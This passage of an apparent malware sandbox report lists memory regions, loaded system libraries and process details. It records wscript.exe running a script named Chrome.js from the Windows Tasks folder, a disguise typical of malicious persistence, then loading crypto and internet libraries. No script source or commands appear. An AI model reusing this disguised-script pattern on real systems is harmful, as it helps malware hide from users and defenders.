"c:\\windows\\system32\\schedcli.dll") Region: id = 1457 start_va = 0x7fefb740000 end_va = 0x7fefb74bfff entry_point = 0x7fefb740000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1458 start_va = 0x18c0000 end_va = 0x1c02fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000018c0000" filename = "" Region: id = 1459 start_va = 0x7fef9270000 end_va = 0x7fef929bfff entry_point = 0x7fef9270000 region_type = mapped_file name = "wmipcima.dll" filename = "\\Windows\\System32\\wbem\\wmipcima.dll" (normalized: "c:\\windows\\system32\\wbem\\wmipcima.dll") Region: id = 1460 start_va = 0x7fef9bc0000 end_va = 0x7fef9bcefff entry_point = 0x7fef9bc0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 1461 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1462 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1463 start_va = 0x930000 end_va = 0x931fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000930000" filename = "" Region: id = 1464 start_va = 0x75950000 end_va = 0x75952fff entry_point = 0x75950000 region_type = mapped_file name = "wmi.dll" filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll") Region: id = 1465 start_va = 0x7fefdb30000 end_va = 0x7fefdb6cfff entry_point = 0x7fefdb30000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Thread: id = 120 os_tid = 0x68c Thread: id = 121 os_tid = 0x410 Thread: id = 122 os_tid = 0x810 Thread: id = 123 os_tid = 0x814 Thread: id = 124 os_tid = 0x820 Thread: id = 125 os_tid = 0x81c Thread: id = 126 os_tid = 0x818 Thread: id = 128 os_tid = 0x860 Thread: id = 130 os_tid = 0x84c Thread: id = 287 os_tid = 0x634 Process: id = "14" image_name = "wscript.exe" filename = "c:\\windows\\system32\\wscript.exe" page_root = "0x2f2bb000" os_pid = "0x8dc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x850" cmd_line = "C:\\Windows\\System32\\WScript.exe \"C:\\Windows\\Tasks\\Chrome.js\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1425 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1426 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1427 start_va = 0x70000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1428 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1429 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1430 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1431 start_va = 0xff6b0000 end_va = 0xff6dbfff entry_point = 0xff6b0000 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\System32\\wscript.exe" (normalized: "c:\\windows\\system32\\wscript.exe") Region: id = 1432 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1433 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1434 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1435 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1436 start_va = 0x2f0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 1437 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1438 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1466 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1467 start_va = 0x170000 end_va = 0x1d6fff entry_point = 0x170000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1468 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1469 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1470 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1471 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1472 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1473 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1474 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1475 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1476 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1477 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1478 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1479 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1480 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1481 start_va = 0x1e0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1482 start_va = 0x3f0000 end_va = 0x577fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 1483 start_va = 0x5d0000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 1484 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1485 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1486 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1487 start_va = 0x40000 end_va = 0x41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1488 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1489 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1490 start_va = 0x5e0000 end_va = 0x760fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 1491 start_va = 0x770000 end_va = 0x1b6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 1492 start_va = 0x1b70000 end_va = 0x1eb2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001b70000" filename = "" Region: id = 1493 start_va = 0x1ec0000 end_va = 0x1f3cfff entry_point = 0x1ec0000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1494 start_va = 0x1ec0000 end_va = 0x1f3cfff entry_point = 0x1ec0000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1495 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1496 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1497 start_va = 0x1ec0000 end_va = 0x201ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 1498 start_va = 0x1ec0000 end_va = 0x1f9efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ec0000" filename = "" Region: id = 1499 start_va = 0x1fa0000 end_va = 0x201ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 1547 start_va = 0x21a0000 end_va = 0x229ffff entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 1548 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1549 start_va = 0x22a0000 end_va = 0x256efff entry_point = 0x22a0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1550 start_va = 0x2e0000 end_va = 0x2e5fff entry_point = 0x2e0000 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\System32\\wscript.exe" (normalized: "c:\\windows\\system32\\wscript.exe") Region: id = 1551 start_va = 0x7fefda90000 end_va = 0x7fefdb20fff entry_point = 0x7fefda90000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1599 start_va = 0x2040000 end_va = 0x213ffff entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 1600 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1601 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1602 start_va = 0x580000 end_va = 0x580fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 1603 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1604 start_va = 0x590000 end_va = 0x590fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 1605 start_va = 0x7fef38e0000 end_va = 0x7fef39c2fff entry_point = 0x7fef38e0000 region_type = mapped_file name = "jscript.dll" filename = "\\Windows\\System32\\jscript.dll" (normalized: "c:\\windows\\system32\\jscript.dll") Region: id = 1606 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1614 start_va = 0x5a0000 end_va = 0x5a0fff entry_point = 0x5a0000 region_type = mapped_file name = "chrome.js" filename = "\\Windows\\Tasks\\Chrome.js" (normalized: "c:\\windows\\tasks\\chrome.js") Region: id = 1673 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1674 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1675 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1732 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1733 start_va = 0x2140000 end_va = 0x2184fff entry_point = 0x2140000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1734 start_va = 0x2140000 end_va = 0x2184fff entry_point = 0x2140000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1735 start_va = 0x2140000 end_va = 0x2184fff entry_point = 0x2140000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1736 start_va = 0x2140000 end_va = 0x2184fff entry_point = 0x2140000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1737 start_va = 0x2140000 end_va = 0x2184fff entry_point = 0x2140000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1738 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1739 start_va = 0x5a0000 end_va = 0x5a0fff entry_point = 0x5a0000 region_type = mapped_file name = "chrome.js" filename = "\\Windows\\Tasks\\Chrome.js" (normalized: "c:\\windows\\tasks\\chrome.js") Region: id = 1740 start_va = 0x26d0000 end_va = 0x27cffff entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 1741 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1742 start_va = 0x7fef9260000 end_va = 0x7fef926afff entry_point = 0x7fef9260000 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\System32\\msisip.dll" (normalized: "c:\\windows\\system32\\msisip.dll") Region: id = 1743 start_va = 0x27d0000 end_va = 0x37cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027d0000" filename = "" Region: id = 1744 start_va = 0x5b0000 end_va = 0x5b0fff entry_point = 0x5b0000 region_type = mapped_file name = "chrome.js" filename = "\\Windows\\Tasks\\Chrome.js" (normalized: "c:\\windows\\tasks\\chrome.js") Region: id = 1745 start_va = 0x25b0000 end_va = 0x26affff entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 1746 start_va = 0x7fef9240000 end_va = 0x7fef925cfff entry_point = 0x7fef9240000 region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\System32\\wshext.dll" (normalized: "c:\\windows\\system32\\wshext.dll") Region: id = 1747 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1748 start_va = 0x7fef3500000 end_va = 0x7fef359ffff entry_point = 0x7fef3500000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 1749 start_va = 0x7fefed90000 end_va = 0x7fefee26fff entry_point = 0x7fefed90000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 1750 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1751 start_va = 0x37d0000 end_va = 0x397ffff entry_point = 0x0 region_type = private name = "private_0x00000000037d0000" filename = "" Region: id = 1752 start_va = 0x37d0000 end_va = 0x38cffff entry_point = 0x0 region_type = private name = "private_0x00000000037d0000" filename = "" Region: id = 1753 start_va = 0x3970000 end_va = 0x397ffff entry_point = 0x0 region_type = private name = "private_0x0000000003970000" filename = "" Region: id = 1754 start_va = 0x7fef9200000 end_va = 0x7fef923bfff entry_point = 0x7fef9200000 region_type = mapped_file name = "scrobj.dll" filename = "\\Windows\\System32\\scrobj.dll" (normalized: "c:\\windows\\system32\\scrobj.dll") Region: id = 1755 start_va = 0x7fef92e0000 end_va = 0x7fef931afff entry_point = 0x7fef92e0000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 1756 start_va = 0x5a0000 end_va = 0x5affff entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 1757 start_va = 0x3b20000 end_va = 0x3c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000003b20000" filename = "" Region: id = 1758 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1759 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1760 start_va = 0x3980000 end_va = 0x3a7ffff entry_point = 0x0 region_type = private name = "private_0x0000000003980000" filename = "" Region: id = 1761 start_va = 0x3d20000 end_va = 0x3e1ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d20000" filename = "" Region: id = 1762 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1763 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1764 start_va = 0x7fef91d0000 end_va = 0x7fef91f7fff entry_point = 0x7fef91d0000 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx") Region: id = 1765 start_va = 0x7fefb570000 end_va = 0x7fefb587fff entry_point = 0x7fefb570000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 1766 start_va = 0x7fef3830000 end_va = 0x7fef3863fff entry_point = 0x7fef3830000 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll") Region: id = 1775 start_va = 0x5b0000 end_va = 0x5c3fff entry_point = 0x5b0000 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx") Region: id = 1776 start_va = 0x2020000 end_va = 0x2020fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002020000" filename = "" Region: id = 1777 start_va = 0x3fd0000 end_va = 0x40cffff entry_point = 0x0 region_type = private name = "private_0x0000000003fd0000" filename = "" Region: id = 1778 start_va = 0x7fefc510000 end_va = 0x7fefc63bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1779 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1780 start_va = 0x2030000 end_va = 0x2031fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002030000" filename = "" Region: id = 1781 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1782 start_va = 0x2150000 end_va = 0x2151fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002150000" filename = "" Region: id = 1783 start_va = 0x7fefb340000 end_va = 0x7fefb396fff entry_point = 0x7fefb340000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 1784 start_va = 0x77e00000 end_va = 0x77e06fff entry_point = 0x77e00000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1785 start_va = 0x7fef3ed0000 end_va = 0x7fef3f23fff entry_point = 0x7fef3ed0000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 1786 start_va = 0x7fef3f30000 end_va = 0x7fef4ae6fff entry_point = 0x7fef3f30000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 1787 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1791 start_va = 0x2140000 end_va = 0x2140fff entry_point = 0x2140000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 1792 start_va = 0x2160000 end_va = 0x2161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002160000" filename = "" Region: id = 1793 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 1794 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 1795 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1796 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1797 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1809 start_va = 0x40d0000 end_va = 0x44c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000040d0000" filename = "" Region: id = 1810 start_va = 0x4540000 end_va = 0x463ffff entry_point = 0x0 region_type = private name = "private_0x0000000004540000" filename = "" Region: id = 1811 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1812 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1813 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1814 start_va = 0x2180000 end_va = 0x219ffff entry_point = 0x2180000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db") Region: id = 1815 start_va = 0x2570000 end_va = 0x2570fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002570000" filename = "" Region: id = 1816 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1817 start_va = 0x2170000 end_va = 0x2173fff entry_point = 0x2170000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1818 start_va = 0x2580000 end_va = 0x25affff entry_point = 0x2580000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db" filename = 